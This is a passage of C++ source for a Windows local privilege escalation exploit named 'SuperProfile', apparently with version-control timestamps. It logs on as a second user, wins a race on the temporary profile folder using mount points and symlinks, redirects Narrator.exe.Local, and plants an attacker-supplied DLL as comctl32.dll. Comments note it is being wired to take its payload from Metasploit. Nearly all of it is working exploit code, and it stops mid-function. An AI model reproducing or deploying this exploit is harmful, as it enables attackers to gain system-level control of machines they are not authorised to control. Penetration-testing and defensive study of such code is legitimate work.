2022-03-24 11:56:18 -05:00
// SuperProfile vulnerability
// works on all windows versions
// tested on Windows 10 21H2, Windows 11, Windows Server 2022
# include <iostream>
# include <stdio.h>
# include <Windows.h>
# include <UserEnv.h>
# include <lmcons.h>
# include <conio.h>
# include <ShlObj.h>
# include <AclAPI.h>
# include <sddl.h>
# include <TlHelp32.h>
# include "Win-Ops-Master.h"
# include "resource.h"
# include "shellapi.h"
# include "stdio.h"
# pragma warning(disable : 4996)
# pragma comment(lib,"userenv.lib")
# pragma comment(lib,"shlwapi.lib")
HANDLE _token = nullptr ;
OpsMaster op ;
wchar_t * user_temp_dir = nullptr ;
wchar_t * appdata = nullptr ;
wchar_t * appdata_local = nullptr ;
wchar_t * appdata_local_appdata = nullptr ;
HANDLE happdata_local = nullptr ;
HANDLE happdata = nullptr ;
lock_ptr appdata_lock = nullptr ;
HANDLE hlnk = nullptr ;
2022-04-05 12:48:11 -05:00
# define MY_PRINTF(...) {wchar_t cad[1000]; swprintf_s(cad, 1000, __VA_ARGS__); OutputDebugStringW(cad);}
2022-04-04 17:58:52 -05:00
2022-03-24 11:56:18 -05:00
// Custom error function to print out more descriptive messages about errors that may occur.
void err ( const wchar_t * fc , DWORD err , DWORD line ) {
LPCWSTR errbuff = nullptr ;
int sz = FormatMessageW ( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS , NULL , err , MAKELANGID ( LANG_NEUTRAL , SUBLANG_DEFAULT ) , ( LPWSTR ) & errbuff , NULL , NULL ) ;
if ( sz = = 0 ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Couldn't format error message inside err function! \r \n " ) ;
2022-03-24 11:56:18 -05:00
}
else {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " %s has returned an unexpected error %d in line %d \n %s " , fc , err , line , errbuff ) ;
2022-03-24 11:56:18 -05:00
}
HeapFree ( GetProcessHeap ( ) , NULL , ( LPVOID ) errbuff ) ;
ExitProcess ( 1 ) ;
}
// Custom thread structure to allow passing around the username
// and password needed to log in as the seperate user.
struct thread_argv {
const wchar_t * username ;
2022-03-28 16:17:58 -05:00
const wchar_t * domain ;
2022-03-24 11:56:18 -05:00
const wchar_t * password ;
} ;
// Main worker thread created by CreateThread().
// The only responsibilty of this worker is to create a suspended process given user credentials,
// check that it was started, and then terminate the process once it has been created.
DWORD WINAPI worker ( void * argv ) {
// Get the size of the full path to msiexec.exe by expanding the string %windir%\\System32\\msiexec.exe,
// then allocate this ammount of memory using HeapAlloc() on the process heap, and save the expanded
// string into this allocated memory, aka msi.
DWORD sz = ExpandEnvironmentStringsW ( L " %windir% \\ System32 \\ msiexec.exe " , nullptr , 0 ) ;
if ( sz = = 0 ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Failed to expand path to EXE inside worker function! \r \n " ) ;
2022-03-24 11:56:18 -05:00
ExitProcess ( 2 ) ;
}
wchar_t * msi = ( wchar_t * ) HeapAlloc ( GetProcessHeap ( ) , HEAP_ZERO_MEMORY , sz * sizeof ( wchar_t ) ) ;
if ( msi = = NULL ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " worker couldn't allocate memory for msi! \r \n " ) ;
2022-03-24 11:56:18 -05:00
ExitProcess ( 3 ) ;
}
if ( ExpandEnvironmentStringsW ( L " %windir% \\ System32 \\ msiexec.exe " , msi , sz ) = = 0 ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Failed to expand path to EXE inside worker function! \r \n " ) ;
2022-03-24 11:56:18 -05:00
ExitProcess ( 4 ) ;
}
// Get the thread arguments, save it into the variable tav.
thread_argv * tav = ( thread_argv * ) argv ;
STARTUPINFOW si = { 0 } ;
PROCESS_INFORMATION pi = { 0 } ;
2022-03-31 12:13:29 -05:00
// Using CreateProcessWithLogonW, create a new msiexec.exe process using the provided
2022-03-24 11:56:18 -05:00
// username and password. Use LOGON_WITH_PROFILE to ensure that the user profile is loaded using the HKEY_USERS registry key.
2022-03-28 16:17:58 -05:00
//
2022-03-24 11:56:18 -05:00
// Whilst in theory we could use LOGON_NETCREDENTIALS_ONLY as we don't need to load the users profile, closer inspection shows
// that this only allows for the credentials to be used over the network, not locally as is the case here.
//
// Specify no arguments as we just want the process to be created, and specify the process creation flags as
// CREATE_SUSPENDED so that we create the process in a suspended state.
2022-03-28 16:17:58 -05:00
if ( ! CreateProcessWithLogonW ( tav - > username , tav - > domain , tav - > password ,
2022-03-24 11:56:18 -05:00
LOGON_WITH_PROFILE , msi , NULL , CREATE_SUSPENDED , NULL , NULL ,
& si , & pi ) ) {
err ( L " CreateProcessWithLogonW " , GetLastError ( ) , __LINE__ ) ;
}
// Once we have created the suspended process, then terminate it with ERROR_SUCCESS exit code,
// close the handle to all of the process threads and the main process itself,
// free the msi heap memory, and return ERROR_SUCCESS to signal the thread itself.
if ( ! TerminateProcess ( pi . hProcess , ERROR_SUCCESS ) ) {
err ( L " TerminateProcess " , GetLastError ( ) , __LINE__ ) ;
}
CloseHandle ( pi . hProcess ) ;
CloseHandle ( pi . hThread ) ;
HeapFree ( GetProcessHeap ( ) , NULL , msi ) ;
return ERROR_SUCCESS ;
}
// Early declaration of callback2 so that callback1 can use it properly.
void callback2 ( ) ;
// Essentially a remove subdirectory and subfolders function that doesn't delete parent directories or the current directory.
// However if provided a reparse point or a normal file it will straight up delete that.
bool RemoveDirNotParent ( std : : wstring dir )
{
// First get the attributes for the file specified. If it is a normal file, delete using DeleteFileNative.
// Otherwise if it is a reparse point, then delete it using RemoveDirectoryW().
DWORD fst_attr = GetFileAttributesW ( dir . c_str ( ) ) ;
if ( fst_attr = = INVALID_FILE_ATTRIBUTES ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Was not able to get file attributes inside RemoveDirNotParent() for file %s! Error was %i \r \n " , dir . c_str ( ) , GetLastError ( ) ) ;
2022-03-24 11:56:18 -05:00
ExitProcess ( 5 ) ;
}
if ( fst_attr & FILE_ATTRIBUTE_NORMAL )
return op . DeleteFileNative ( dir ) ;
if ( fst_attr & FILE_ATTRIBUTE_REPARSE_POINT )
return RemoveDirectoryW ( dir . c_str ( ) ) ;
2022-03-28 16:17:58 -05:00
// If the file is not a normal file or a reparse point, then
// set search_path to the pattern to search for
2022-03-24 11:56:18 -05:00
// any subdirectories or files under the directory.
//
// Also set s_p to the path of the current directory being
// processed, but with a \ at the end.
std : : wstring search_path = std : : wstring ( dir ) + L " \\ *.* " ;
std : : wstring s_p = std : : wstring ( dir ) + std : : wstring ( L " \\ " ) ;
WIN32_FIND_DATAW fd ;
HANDLE hFind = FindFirstFileW ( search_path . c_str ( ) , & fd ) ;
if ( hFind ! = INVALID_HANDLE_VALUE ) {
do {
// If we find the current entry is . or .. then skip it.
if ( wcscmp ( fd . cFileName , L " . " ) = = 0 | | wcscmp ( fd . cFileName , L " .. " ) = = 0 )
{
continue ;
}
// If the subdirectory is a reparse point, remove it using RemoveDirectoryW().
if ( fd . dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT ) {
if ( RemoveDirectoryW ( std : : wstring ( s_p + fd . cFileName ) . c_str ( ) ) = = FALSE ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Couldn't remove directory %s! Error was %i " , std : : wstring ( s_p + fd . cFileName ) . c_str ( ) , GetLastError ( ) ) ;
2022-03-24 11:56:18 -05:00
ExitProcess ( 6 ) ;
}
continue ;
}
// If the subdirectory is not a normal directory, remove it using DeleteFileNative()
if ( ! ( fd . dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY ) ) {
if ( op . DeleteFileNative ( std : : wstring ( s_p + fd . cFileName ) ) = = FALSE ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Couldn't remove file %s! Error was %i " , std : : wstring ( s_p + fd . cFileName ) . c_str ( ) , op . GetLastErr ( ) ) ;
2022-03-24 11:56:18 -05:00
ExitProcess ( 7 ) ;
}
continue ;
}
// Otherwise if it is a directory and its not . or .., then remove the directory recursively
if ( wcscmp ( fd . cFileName , L " . " ) ! = 0 & & wcscmp ( fd . cFileName , L " .. " ) ! = 0 )
{
if ( op . RRemoveDirectory ( s_p + fd . cFileName ) = = FALSE ) {
2022-04-04 17:58:52 -05:00
DWORD lastError = op . GetLastErr ( ) ;
if ( ( lastError ! = ERROR_SUCCESS ) & & ( lastError ! = ERROR_FILE_NOT_FOUND ) ) {
MY_PRINTF ( L " Was unable to remove the directory %s inside RemoveDirNotParent()! Error was %i \r \n " , std : : wstring ( s_p + fd . cFileName ) . c_str ( ) , op . GetLastErr ( ) ) ;
}
2022-03-24 11:56:18 -05:00
}
}
} while ( FindNextFileW ( hFind , & fd ) ) ; // Continue until no more results matching search pattern.
FindClose ( hFind ) ; // When all done, close the find handle.
}
return true ;
}
void callback1 ( ) {
// First, impersonate the user we provided the credentials for since some of these directories won't be accessible otherwise.
if ( ! ImpersonateLoggedOnUser ( _token ) )
err ( L " ImpersonateLoggedOnUser " , GetLastError ( ) , __LINE__ ) ;
// Move the file at C:\\Users\\TEMP.WIN11-TEST.022\\AppData\\Local or similar to the system temp directory at C:\Windows\Temp
if ( ! op . MoveFileToTempDir ( happdata_local , USE_SYSTEM_TEMP_DIR ) )
err ( L " MoveFileToTempDir " , op . GetLastErr ( ) , __LINE__ ) ;
// Remove the entire C:\\Users\\TEMP.WIN11-TEST.022\\AppData\\Local directory.
if ( ! op . DeleteByHandle ( happdata_local ) )
err ( L " DeleteByHandle " , op . GetLastErr ( ) , __LINE__ ) ;
// Remove all subdirectories and subfolders of the C:\\Users\\TEMP.WIN11-TEST.022\\AppData\\ directory.
if ( ! RemoveDirNotParent ( appdata ) ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Could not recursively delete %s using RemoveDirNotParent! \r \n " , appdata ) ;
2022-03-24 11:56:18 -05:00
ExitProcess ( 9 ) ;
}
// Move the folder at C:\\Users\\TEMP.WIN11-TEST.022\\AppData or similar to the system temp directory at C:\Windows\Temp
if ( ! op . MoveFileToTempDir ( std : : wstring ( appdata ) , true , USE_SYSTEM_TEMP_DIR ) )
err ( L " MoveFileToTempDir " , op . GetLastErr ( ) , __LINE__ ) ;
// Create the directory C:\\Users\\TEMP.WIN11-TEST.022\\AppData and save the handle into happdata
happdata = op . OpenDirectory ( appdata , GENERIC_READ | GENERIC_WRITE , ALL_SHARING ) ;
if ( ! happdata )
err ( L " OpenDirectory " , op . GetLastErr ( ) , __LINE__ ) ;
// Create a mount point at C:\\Users\\TEMP.WIN11-TEST.022\\AppData to C:\Users\Default\Appdata
if ( ! op . CreateMountPoint ( happdata , L " C: \\ Users \\ Default \\ Appdata " ) )
err ( L " CreateMountPoint " , op . GetLastErr ( ) , __LINE__ ) ;
// Create a lock on C:\\Users\\TEMP.WIN11-TEST.022\\AppData, and have it call callback2 when activated.
appdata_lock = op . CreateLock ( happdata , callback2 ) ;
// If appdata_lock is not set, then error out as it should have been set by now.
if ( ! appdata_lock )
err ( L " CreateLock " , op . GetLastErr ( ) , __LINE__ ) ;
// Before returning, call rev2self to ensure we are executing as the current user and not as the user we impersonated.
if ( RevertToSelf ( ) = = FALSE ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Failed to return to executing as the current user and not the impersonated user inside callback1! \r \n " ) ;
2022-03-24 11:56:18 -05:00
ExitProcess ( 10 ) ;
}
}
void callback2 ( ) {
// Impersonate the user we were provided credentials for.
if ( ! ImpersonateLoggedOnUser ( _token ) )
err ( L " ImpersonateLoggedOnUser " , GetLastError ( ) , __LINE__ ) ;
// Delete the mount point at C:\\Users\\TEMP.WIN11-TEST.022\\AppData such that it still exists but no longer points to C:\\Users\\Default\\Appdata
if ( ! op . DeleteMountPoint ( happdata ) )
err ( L " DeleteMountPoint " , op . GetLastErr ( ) , __LINE__ ) ;
// Open the directory at C:\\Users\\TEMP.WIN11-TEST.022\\AppData\\Local with write permissions, full sharing, and always open even if it exists.
happdata_local = op . OpenDirectory ( appdata_local , GENERIC_WRITE , ALL_SHARING , OPEN_ALWAYS ) ;
if ( ! happdata_local )
err ( L " OpenDirectory " , op . GetLastErr ( ) , __LINE__ ) ;
2022-03-28 16:17:58 -05:00
// Once we have a handle to C:\\Users\\TEMP.WIN11-TEST.022\\AppData\\Local, turn it from a mount point to C:\\Users\\Default\\Appdata to
2022-03-24 11:56:18 -05:00
// a mount point to \\BaseNamedObjects\\Restricted, and then close the handle to C:\\Users\\TEMP.WIN11-TEST.022\\AppData\\Local
if ( ! op . CreateMountPoint ( happdata_local , L " \\ BaseNamedObjects \\ Restricted " ) )
err ( L " CreateMountPoint " , op . GetLastErr ( ) , __LINE__ ) ;
// Finally, create a native symbolic link from \\BaseNamedObjects\\Restricted\\Application Data to \\??\\C:\\Windows\\System32\\Narrator.exe.Local
// This will make C:\\Users\\TEMP.WIN11-TEST.022\\AppData\\Local\\Application Data point to C:\\Windows\\System32\\Narrator.exe.Local
hlnk = op . CreateNativeSymlink ( L " \\ BaseNamedObjects \\ Restricted \\ Application Data " , L " \\ ?? \\ C: \\ Windows \\ System32 \\ Narrator.exe.Local " ) ;
if ( ! hlnk )
err ( L " CreateNativeSymlink " , op . GetLastErr ( ) , __LINE__ ) ;
// Before returning, call rev2self to ensure we are executing as the current user and not as the user we impersonated.
if ( RevertToSelf ( ) = = FALSE ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Failed to return to executing as the current user and not the impersonated user inside callback2! \r \n " ) ;
2022-03-24 11:56:18 -05:00
ExitProcess ( 11 ) ;
}
CloseHandle ( happdata_local ) ;
}
// Drop the payload at \\BaseNamedObjects\\Restricted\\Application Data\\C:\\Windows\\System32\\Narrator.exe.Local\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.22000.1_none_271a8fad6a2d1b1e\\comctl32.dll
// or a similar path.
void DoDropPayload ( const wchar_t * dllPath ) {
// XXX Following two blocks of code need to be removed and replaced with
// a way to load the DLL somehow from Metasploit vs compiling it into the EXE.
HANDLE hDLLFile = CreateFileW ( dllPath , GENERIC_READ , FILE_SHARE_READ , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL , NULL ) ;
if ( hDLLFile = = INVALID_HANDLE_VALUE ) {
DWORD error = GetLastError ( ) ;
2022-03-28 16:17:58 -05:00
2022-03-24 11:56:18 -05:00
//MessageBoxW(NULL, dllPath, L"Unable to open DLL file!", MB_OK);
ExitProcess ( 12 ) ;
}
DWORD DllSize = GetFileSize ( hDLLFile , NULL ) ;
DWORD bytesRead = 0 ;
char * DllBuff = new char [ DllSize + 1 ] ;
if ( ReadFile ( hDLLFile , DllBuff , DllSize , & bytesRead , NULL ) = = FALSE ) {
//MessageBoxW(NULL, dllPath, L"Unable to read DLL file!", MB_OK);
ExitProcess ( 13 ) ;
}
// Next we will use an empty WIN32_FIND_DATA structure to get the first file location matching the pattern
// C:\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_*_none_*, and save the search handle into hfind.
// Results of the file found to match the query will be saved into the data variable.
WIN32_FIND_DATAW data = { 0 } ;
HANDLE hfind = FindFirstFileW ( L " C: \\ Windows \\ WinSxS \\ amd64_microsoft.windows.common-controls_*_none_* " , & data ) ;
if ( hfind = = INVALID_HANDLE_VALUE ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Couldn't find a file matching the WinSxS pattern! Are you sure this is an AMD64 machine? \r \n " ) ;
2022-03-24 11:56:18 -05:00
ExitProcess ( 14 ) ;
}
std : : wstring narrator_dir = L " C: \\ Windows \\ System32 \\ Narrator.exe.Local \\ " ;
// Remember that at this point C:\\Windows\\System32\\Narrator.exe.Local should point to C:\Users\TEMP\AppData\Local
// and that \\BaseNamedObjects\\Restricted\\Application Data points to C:\\Windows\\System32\\Narrator.exe.Local, which in turn points to C:\Users\TEMP\AppData\Local
// C:\\Windows\\System32\\Narrator.exe.Local\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.22000.1_none_271a8fad6a2d1b1e
2022-03-28 16:17:58 -05:00
// is an example of the value of _dll_dir here which therefore points to
2022-03-24 11:56:18 -05:00
// C:\Users\TEMP\AppData\Local\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.22000.1_none_271a8fad6a2d1b1e in practice.
2022-03-28 16:17:58 -05:00
//
2022-03-24 11:56:18 -05:00
// We will then create this directory using CreateDirectoryW() call.
std : : wstring _dll_dir = narrator_dir + data . cFileName ;
if ( CreateDirectoryW ( _dll_dir . c_str ( ) , NULL ) = = FALSE ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Could not create directory %s as we encountered error %i \r \n " , _dll_dir . c_str ( ) , GetLastError ( ) ) ;
2022-03-24 11:56:18 -05:00
ExitProcess ( 15 ) ;
}
2022-03-28 16:17:58 -05:00
// Next we create the file
2022-03-24 11:56:18 -05:00
// \\BaseNamedObjects\\Restricted\\Application Data\\C:\\Windows\\System32\\Narrator.exe.Local\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.22000.1_none_271a8fad6a2d1b1e\\comctl32.dll
// and overwrite its contents with the contents of the DLL we specify.
std : : wstring _dll = _dll_dir + L " \\ comctl32.dll " ;
HANDLE hdll = op . OpenFileNative ( _dll , GENERIC_WRITE , ALL_SHARING , CREATE_ALWAYS ) ;
if ( hdll = = NULL ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Couldn't open file at %s for writing! Error was: %i \r \n ! " , _dll . c_str ( ) , op . GetLastErr ( ) ) ;
2022-03-24 11:56:18 -05:00
ExitProcess ( 16 ) ;
}
// XXX This needs to be updated so that it writes the right DLL data.
if ( op . WriteFileNative ( hdll , DllBuff , DllSize ) = = FALSE ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Couldn't write file at %s! Error was: %i \r \n ! " , _dll . c_str ( ) , op . GetLastErr ( ) ) ;
2022-03-24 11:56:18 -05:00
ExitProcess ( 17 ) ;
}
// Whilst we still have other matches on C:\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_*_none_* pattern,
// continue to overwrite their versions of comctl32.dll with our malicious DLL copy to ensure we can gain control.
//
// Note that interestingly these files are reset back to legit copies after the exploit ends so implications of doing this aren't so bad.
2022-03-28 16:17:58 -05:00
//
2022-03-24 11:56:18 -05:00
// This will result in more directories at \\BaseNamedObjects\\Restricted\\Application Data\\<value of data.cFileName> and more
// \\BaseNamedObjects\\Restricted\\Application Data\\<value of data.cFileName>\\comctl32.dll files.
while ( FindNextFileW ( hfind , & data ) = = TRUE ) {
_dll_dir = narrator_dir + data . cFileName ;
if ( CreateDirectoryW ( _dll_dir . c_str ( ) , NULL ) = = FALSE ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Couldn't create directory %s! Error was: %i \r \n " , _dll_dir . c_str ( ) , GetLastError ( ) ) ;
2022-03-24 11:56:18 -05:00
delete [ ] DllBuff ;
ExitProcess ( 18 ) ;
}
_dll = _dll_dir + L " \\ comctl32.dll " ;
hdll = op . OpenFileNative ( _dll , GENERIC_WRITE , ALL_SHARING , CREATE_ALWAYS ) ;
if ( hdll = = NULL ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Couldn't open file at %s for writing! Error was: %i \r \n " , _dll . c_str ( ) , op . GetLastErr ( ) ) ;
2022-03-24 11:56:18 -05:00
delete [ ] DllBuff ;
ExitProcess ( 19 ) ;
}
if ( op . WriteFileNative ( hdll , DllBuff , DllSize ) = = FALSE ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Couldn't write file at %s! Error was: %i \r \n " , _dll . c_str ( ) , op . GetLastErr ( ) ) ;
2022-03-24 11:56:18 -05:00
CloseHandle ( hdll ) ;
delete [ ] DllBuff ;
ExitProcess ( 20 ) ;
}
}
FindClose ( hfind ) ;
CloseHandle ( hdll ) ;
CloseHandle ( hDLLFile ) ;
delete [ ] DllBuff ;
return ;
}
wchar_t * GetWC ( char * c ) {
const size_t cSize = strlen ( c ) + 1 ;
wchar_t * wc = new wchar_t [ cSize ] ;
mbstowcs ( wc , c , cSize ) ;
return wc ;
}
// Main entry of program.
int exploit ( char * incomingData ) {
// Convert data from Metasploit into local wchar_t string pointers.
// First initialize the call with the string we want to split
wchar_t * login_user = GetWC ( strtok ( incomingData , " || " ) ) ;
2022-03-28 16:17:58 -05:00
wchar_t * login_domain = GetWC ( strtok ( NULL , " || " ) ) ;
2022-03-24 11:56:18 -05:00
wchar_t * login_password = GetWC ( strtok ( NULL , " || " ) ) ;
wchar_t * dllPath = GetWC ( strtok ( NULL , " || " ) ) ;
2022-03-28 16:17:58 -05:00
2022-03-24 11:56:18 -05:00
// Use ExpandEnvironmentStringsW() to check that the current user is not the same as the user provided for the login.
wchar_t current_user [ 512 ] ;
// Same check but using the user domain to double check we didn't specify a domain format of a username. Just to make sure :)
if ( ExpandEnvironmentStringsW ( L " %USERDOMAIN% \\ %USERNAME% " , current_user , 512 ) = = 0 ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Couldn't expand USERDOMAIN \\ USERNAME environment variable! Error was %i \r \n " , GetLastError ( ) ) ;
2022-03-24 11:56:18 -05:00
ExitProcess ( 22 ) ;
}
if ( ! wcsicmp ( current_user , login_user ) ) {
printf ( " The current user and the specified user cannot be the same. " ) ;
return 1 ;
}
2022-03-31 12:13:29 -05:00
// Using the provided username and password, attempt to log on with the provided username,
// password, and domain to the local computer. Also specify that we want an interactive
// logon session and specify that we want to use the default provider.
2022-03-24 11:56:18 -05:00
//
2022-03-31 12:13:29 -05:00
// Save the information on the logon token that will be returned by this call
// to the _token global variable.
2022-03-28 16:17:58 -05:00
if ( ! LogonUserW ( login_user , login_domain , login_password , LOGON32_LOGON_INTERACTIVE , LOGON32_PROVIDER_DEFAULT , & _token ) )
2022-03-24 11:56:18 -05:00
err ( L " LogonUserW " , GetLastError ( ) , __LINE__ ) ; // If we errored on the login then print out an error and exit.
2022-03-28 16:17:58 -05:00
// Set high priority class on our process to ensure its classed as a time-critical process that must be executed immediately
// and therefore must be executed before normal or idle priority class processes, and can use as much CPU time as it needs
2022-03-24 11:56:18 -05:00
// unless interrupted by a higher priority process.
if ( ! SetPriorityClass ( GetCurrentProcess ( ) , HIGH_PRIORITY_CLASS ) ) {
err ( L " SetPriorityClass " , GetLastError ( ) , __LINE__ ) ;
}
// Set the thread priority to time critical aka level 15, the highest thread priority possible besides level 31 for REALTIME_PRIORITY_CLASS.
// This ensures that we don't interrupt system critical threads, but we are as high priority as possible to ensure the threads get the chance
// they need to win this race.
if ( ! SetThreadPriority ( GetCurrentThread ( ) , THREAD_PRIORITY_TIME_CRITICAL ) ) {
err ( L " SetThreadPriority " , GetLastError ( ) , __LINE__ ) ;
}
// Enable file system redirection for the calling thread. Parameter is FALSE since it must be a PVOID that holds the old value but we don't care about this.
//if (!Wow64EnableWow64FsRedirection(FALSE)) {
// err(L"Wow64EnableWow64FsRedirection", GetLastError(), __LINE__);
//}
// Originally this code called the function worker() and pass it in the login username and password as parameters,
2022-03-28 16:17:58 -05:00
// then waited infinitely for the thread to be signaled. Personally I found this wasn't needed, and the only
2022-03-24 11:56:18 -05:00
// potential benefit was loading the user's profile, which doesn't seem to be needed in my tests on Windows 11.
//
// Therefore this code now just decleares hthread and thrd_argv as parameters for later calls.
2022-03-28 16:17:58 -05:00
thread_argv thrd_argv = { login_user , login_domain , login_password } ;
2022-03-24 11:56:18 -05:00
HANDLE hthread = NULL ;
2022-03-28 16:17:58 -05:00
// Okay we should now have the logon token for the user so lets run Narrator and don't specify a window to associate with,
// use the "open" option to open a process, specify the path to Narrator, don't specify parameters, use the current directory,
2022-03-24 11:56:18 -05:00
// and try to force minimize the window.
CoInitializeEx ( NULL , COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE ) ;
HINSTANCE shellResult = ShellExecuteW ( NULL , L " open " , L " C: \\ Windows \\ System32 \\ narrator.exe " , NULL , NULL , SW_HIDE ) ;
if ( shellResult < ( HINSTANCE ) 32 ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Couldn't start Narrator.exe! Error was: %i \r \n " , shellResult ) ;
2022-03-24 11:56:18 -05:00
ExitProcess ( 23 ) ;
}
2022-03-28 16:17:58 -05:00
// Check if we can impersonate the user we logged in as earlier
2022-03-24 11:56:18 -05:00
// using ImpersonateLoggedOnUser(). If we can't then error out and exit.
if ( ! ImpersonateLoggedOnUser ( _token ) )
err ( L " ImpersonateLoggedOnUser " , GetLastError ( ) , __LINE__ ) ;
// Get the environment strings for the user we logged in as, specifically for the string
// C:\\Users\\%USERNAME%\\ntuser.dat, which is a hidden file located in every user profile
// that contains the settings and preferences for each user (see https://www.howtogeek.com/401365/what-is-the-ntuser.dat-file/)
//
// Save the expanded string into the variable user_registry_path.
2022-03-28 16:17:58 -05:00
//
2022-03-24 11:56:18 -05:00
// Then we continously try to open this file using op.OpenFileNative until we can get a handle to it.
wchar_t user_registry_path [ MAX_PATH ] ;
2022-03-28 16:17:58 -05:00
int returnCode = wcscmp ( login_domain , L " . " ) ;
wchar_t current_domain [ 512 ] ;
ExpandEnvironmentStringsW ( L " %USERDOMAIN% " , current_domain , 512 ) ;
int returnCodeTryTwo = wcscmp ( login_domain , current_domain ) ;
if ( ( returnCode = = 0 ) | | ( returnCodeTryTwo = = 0 ) ) {
if ( ! ExpandEnvironmentStringsForUserW ( _token , L " C: \\ Users \\ %USERNAME% \\ ntuser.dat " , user_registry_path , MAX_PATH ) ) {
err ( L " ExpandEnvironmentStringsForUser " , GetLastError ( ) , __LINE__ ) ;
}
}
else {
if ( ! ExpandEnvironmentStringsForUserW ( _token , L " C: \\ Users \\ %USERNAME% \ .%USERDOMAIN% \\ ntuser.dat " , user_registry_path , MAX_PATH ) ) {
err ( L " ExpandEnvironmentStringsForUser " , GetLastError ( ) , __LINE__ ) ;
}
2022-03-24 11:56:18 -05:00
}
HANDLE huserdat = NULL ;
do {
huserdat = op . OpenFileNative ( user_registry_path , GENERIC_READ , NULL , OPEN_ALWAYS ) ;
} while ( ! huserdat ) ;
// At this point we now have a handle to C:\\Users\\%USERNAME%\\ntuser.dat.
// We then open a handle to the C:\\Users directory with generic read access.
HANDLE husers_dir = op . OpenDirectory ( " C: \\ Users " , GENERIC_READ ) ;
if ( ! husers_dir )
err ( L " OpenDirectory " , op . GetLastErr ( ) , __LINE__ ) ;
// With a handle to both C:\\Users\\%USERNAME%\\ntuser.dat and to C:\\Users
// we now create a new FILE_NOTIFY_INFORMATION structure in process heap memory
// of size 4096, and zero the memory.
FILE_NOTIFY_INFORMATION * fni = ( FILE_NOTIFY_INFORMATION * ) HeapAlloc ( GetProcessHeap ( ) , HEAP_ZERO_MEMORY , 4096 ) ;
if ( fni = = NULL ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Unable to allocate memory for file notification information! \r \n " ) ;
2022-03-24 11:56:18 -05:00
ExitProcess ( 24 ) ;
}
wchar_t new_dir [ MAX_PATH ] ;
// Create a new thread that will run worker() that will create a new suspended process, and then kill it.
// Save the handle to this thread in hthread.
hthread = CreateThread ( NULL , NULL , worker , ( void * ) & thrd_argv , NULL , NULL ) ;
if ( ! hthread ) {
err ( L " CreateThread " , GetLastError ( ) , __LINE__ ) ;
}
do {
ZeroMemory ( new_dir , MAX_PATH ) ;
DWORD ret_sz = 0 ;
// Now we check to see if there were any changes to the C:\\Users directory, using fni as
// the FILE_NOTIFY_INFORMATION structure to get the file changes, check for changes in subdirectories,
// and specifically look for changes in the directory name of any directory at or below the level of C:\\Users.
//
2022-03-28 16:17:58 -05:00
// Save number of bytes read into ret_sz. This parameter is specified as this
2022-03-24 11:56:18 -05:00
// call is sychronous and thus this parameter is required, but we don't do anything with the returned info.
//
// This call relies on our earlier CreateThread() call to make the modifications to the C:\\Users directory
if ( ! ReadDirectoryChangesW ( husers_dir , fni , 4096 , TRUE , FILE_NOTIFY_CHANGE_DIR_NAME , & ret_sz , nullptr , nullptr ) )
err ( L " ReadDirectoryChangesW " , GetLastError ( ) , __LINE__ ) ;
// If the only action that was peformed wasn't to add a file to a directory, then skip to next instance of the loop.
// Otherwise if the action was to add a file to the directory, then we proceed to next instruction.
if ( fni - > Action ! = FILE_ACTION_ADDED )
continue ;
// Set new_dir aka the path where the file is being created, to the full filename of the new file that was created.
memcpy ( new_dir , fni - > FileName , fni - > FileNameLength ) ;
new_dir [ fni - > FileNameLength / 2 ] = L ' \0 ' ; // Make sure to NULL terminate the wchar path string inside new_dir.
2022-03-31 12:13:29 -05:00
// If the path to the new file does not contain a directory within the path string,
// then we skip the file and continue to the next change.
2022-03-24 11:56:18 -05:00
// Otherwise we proceed with next steps.
if ( wcschr ( new_dir , L ' \\ ' ) )
continue ;
// Bit of an odd check but check if the first 4 letters of the new path start with TEMP.
// If they do, then continue as this is the file we are interested in. Otherwise jump to top
// of the loop as this isn't a file we are interested in. This will look something like TEMP.WIN11-TEST.016
// in practice.
WCHAR cmp [ 5 ] = { 0 } ;
wmemcpy ( cmp , new_dir , 4 ) ;
cmp [ 4 ] = L ' \0 ' ;
if ( wcscmp ( cmp , L " TEMP " ) )
continue ;
2022-03-28 16:17:58 -05:00
// If we reached this point and none of the above apply, we have found the file that was
2022-03-24 11:56:18 -05:00
// added to the directory we are after.
break ;
} while ( 1 ) ;
2022-03-28 16:17:58 -05:00
// Set total size to 10 + the length of the new file path. 10 specifically as that
2022-03-24 11:56:18 -05:00
// is the length of the string C:\Users\ with a null terminator at the end.
//
// Then allocate this much memory, aka user_temp_dir_sz, using HeapAlloc() on
// the process heap and save the resulting pointer into the variable user_temp_dir.
